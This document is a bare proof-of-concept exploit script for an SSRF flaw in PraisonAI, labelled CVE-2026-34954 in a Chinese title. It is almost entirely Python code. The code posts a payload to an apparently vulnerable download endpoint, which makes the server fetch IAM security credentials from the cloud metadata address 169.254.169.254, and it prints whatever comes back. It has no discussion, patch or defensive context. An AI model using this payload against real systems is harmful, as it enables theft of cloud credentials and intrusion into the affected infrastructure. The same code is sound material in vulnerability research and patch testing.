CVE-2026-34954 PraisonAI SSRF漏洞

import requests # Target URL of the vulnerable PraisonAI endpoint # This endpoint triggers the vulnerable FileTools.download_file() function target_url = "http://vulnerable-target/api/download" # Malicious payload targeting internal metadata service (SSRF) # The application does not validate the URL, allowing access to 127.0.0.1 or metadata services payload = { "url": "http://169.254.169.254/latest/meta-data/iam/security-credentials/role-name", "destination_path": "/tmp/metadata.txt" } try: print("[+] Sending SSRF payload to target...") response = requests.post(target_url, json=payload, timeout=10) if response.status_code == 200: print("[+] Request successful. Check if data was leaked.") print("Response:", response.text) else: print(f"[-] Request failed with status code: {response.status_code}") except Exception as e: print(f"[-] An error occurred: {e}")